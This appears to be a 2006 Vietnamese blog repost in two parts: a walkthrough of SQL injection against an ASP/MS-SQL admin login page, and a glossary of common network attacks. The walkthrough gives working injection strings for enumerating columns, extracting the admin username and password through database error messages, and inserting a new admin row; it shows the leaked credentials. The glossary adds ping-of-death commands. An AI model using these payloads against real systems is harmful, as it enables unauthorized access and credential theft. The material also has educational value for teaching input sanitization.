[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'superAdmin' to a column of data type int.
/admin/admin.asp, line 13

once more.. time for a Whoooooot!!! (notice.. more ooo's int he hoot and a few more !!'s as well)

In complaining about an operation it tried to perform on one of our requested "userid" columns the server has returned the value of the first userid in the table. (superAdmin.. hmmm.. looks hopefull :)) )

At this point we have 2 options: a) to go for the quick kill, to use the above method to extract a password from the server. b) to complete the analysis of the table structure in order to do an INSERT. The INSERT method makes little /no sense in the example im using and the Admin table in question appears to have only 2 columns (userid/passwrd) I have added the next few lines for completeness (and for the day you run into a table with
more columns of needed data)

To continue to understand the table structure the last step is just to attempt a "compute sum" operation on selected fields. I.e we change the login to:

sensepost' compute sum (userid)

SQL obviously complains about its inability to "sum" a non numerical field and in the process gives us the final piece of information about the column, its data type:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average  aggregate operation cannot take a    varchar data type as an argument.
/admin/admin.asp, line 13

Doing this on all of the enumerated columns leaves us with enough information to eventually insert a field into the table with :

sensepost' insert into Admin(userid,password,lastlogin) values
('haroon','hi','Dec 19 2001 5:53PM')–

Which then just leaves me having to reload the form and login …

Of course in this case, an easier alternative was to skip the INSERT and COMPUTE steps all together. If you recall we were able to get a valid username (superAdmin) in the error message when we tried :

sensepost' union select userid,userid,userid,userid,userid from Admin–

hmm… the logical next step would therefore be :

sensepost' union select password,password,password,password,password from Admin–
Which returns..

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'h1dd3n' to a   column of data type int.
/admin/admin.asp, line 13

Giving us valid login credentials with username "superAdmin" & password "h1dd3n"

The number of ASP <–> MS-SQL sites vulnerable to such attacks are shocking… considering that sanitization should have been what developers learnt on DAY2 of E-Commerce 1-oh-1 (Changing default passwords / usernames shld be day one) and whats even more alarming is the number of sites that will sanitize input on text-boxes but then ignore sanitization on hidden fields or list boxes which are a vi away from being hostile.

Conclusion:
Hã giữ mọi thứ thật đơn giản!!
Đừng tin vào việc bảo vệ chống lại các đoạn scrip Edit-able của user
Giả định rằng tấc cả input của end-user đều là kẻ thù
Đơn giản!! Đơn giản và đơn giản!!!

BLACK ANGEL

Tháng Sáu 21, 2006 Posted by | Security Tools | 1 bình luận

Common Attacks

Denial of Service (DOS/DDOS)

  • A denial of service attack is any attack used to achieve the disruption of any service to legitimate users
  • DDOS is the ‘distributed’ form of such an attack where many ‘Zombies’ that have been taken over by hackers launch simultaneous attacks to achieve a more effective denial of service attack

Back Door

  • Any opening left in a functional piece of software that allows ‘unknown’ entry into the system / or application without the owners knowledge.
  • Many times, back doors are left in by the software creators

Spoofing

  • Spoofing is a technique used to gain unauthorized access to computers
  • A hacker must first find an IP address of a trusted host
  • Once this information is gotten, then the hacker can use this information to make the recipient think that the hacker is the trusted sender
  • Please use the link I provided to investigate spoofing deeper. It is very important that you fully understand it

Man in the Middle

  • A Man in the Middle attack is when an attacker is able to intercept traffic by placing themselves in the middle of the conversation.
  • Man in the Middle attacks involve a malicious attacker intercepting communications and fooling both parties into believing they are communicating with each other when they are really being watched
  • The attacker can then do anything to the transmission they are now apart of to include eavesdropping or planting information
  • Wireless systems are very susceptible to this form of attack.

Replay

  • A Replay attack is when a Hacker uses a Sniffer to grab packets off the wire
  • After packets are captured, then the hacker can simply extract information from the packets like authentication information and passwords
  • Once the information is extracted, the captured data can be placed back on the network or replayed

TCP/IP Hijacking

  • This is also called “Session Hijacking”
  • A hacker can take over a TCP session between two machines
  • A popular method is using source-routed IP packets

DNS Poisoning

  • DNS Poisoning is when your DNS files are poisoned with bad information
  • In other words, if you have an A record that points to a trusted host, a hacker can change it and point you in the wrong direction for malicious intent

Weak Keys

  • Weak keys are secret keys with a certain value for which the block cipher in question will exhibit certain regularities in encryption or, in other cases, a poor level of encryption

Mathematical

  • Mathematical  (or Algebraic) attacks are a class of techniques that rely for their success on block ciphers exhibiting a high degree of mathematical structure

Social Engineering

  • Most times hackers try to attack the actual ‘systems’ to exploit their weaknesses
  • Another form of attack is to exploit ‘end user’ weakness
  • Exploiting the weakness of human nature to get someone to hand over their credentials to you from either peer pressure or trickery

Birthday

  • A birthday attack is a name used to refer to a class of brute-force attacks
  • Please use the link provided to research this deeper. You have to understand hash functions and password cracking to fully understand this and the link provided will do that

Password Guessing

  • Password Guessing or ‘cracking’ is the attack on authentication credentials for any given system

Brute Force

  • A form of Password Cracking
  • Brute Force attacks will try every single key combination known to crack your password.
  • The only protection against them is to either have a key length too long to crack anytime in this lifetime, or change the password frequently.

Dictionary

  • A form of Password Cracking
  • The term ‘dictionary’ comes from the actual book of known words… this is transferred into a file and loaded into a tool to try to help a hacker to crack your password
  • The defense against this is to not use simple to guess and known dictionary words as passwords

Software Exploitation

  • Attacks against a systems bugs or flawed code
  • Use Hot Fixes and Service packs to fix them

War Dialing

  • The process of running modem scanning tools against a PBX or any given dialup modem for the purpose of penetration.
  • A war dialer is a computer program used to identify the phone numbers that can successfully make a connection with a computer modem.
  • The program will dial a range of numbers you ask it to dial and will log failure and success ranges in a database

War Driving

  • The process of using an attack tool to penetrate wireless systems from outside the facility where the wireless system sits
  • A wireless Ethernet card set to work in promiscuous mode is needed to War drive, and you will also need a powerful antenna if you are going to remain at a distance

Buffer Overflow

  • Buffer Overflow attacks take advantage of poorly written code
  • If the code will not check the length of variable arguments then it can be susceptible to this kind of attack

SYN flood

  • SYN Flood attacks exploit the three-way handshaking mechanism of the TCP/IP protocol
  • A large number of half-opened connections is used to deny access to legitimate requestors

Smurfing

  • Exploits ICMP
  • Performed by transmitting an echo request packet to a network’s broadcast address with a spoofed source address
  • The victim is then quickly overwhelmed by a large number of echo replies

Sniffing

  • Sniffing attacks use protocol analyzers to capture network traffic for password and other data capture

Ping of Death

  • Used to attempt to crash your system by sending oversized packets to a host
  • Ping of death can actually be run from older versions of Windows, Linux and Cisco routers.
  • At a Windows command line, simply type:

     ping -l 65550 192.168.1.X

  • At a Linux command line, simply type:

     ping -s 65550 192.168.1.XPort Scanning

  • Port Scanning is performed by running a vulnerability scanner on a system to see what open ports are open
  • The second have of the attack is to then exploit whatever you find via other attacks

Chargen

  • A flaw with TCP port 19 where if you connect via the port
  • You can run what’s called a Character Generator attack

Fragment Attack

  • An exploit that targets IP fragmentation and reassembly code are common
  • Numerous attacks have been performed upon the premise of overlapping fragments
  • Attacks include:
    • Teardrop
    • Teardrop2
    • NewTear
    • SynDrop
    • Bonk
    • Boink

 And so many other types of attack are appear day by day!!! 🙂

 BLACK ANGEL

Tháng Sáu 21, 2006 Posted by | Security Tools | 1 bình luận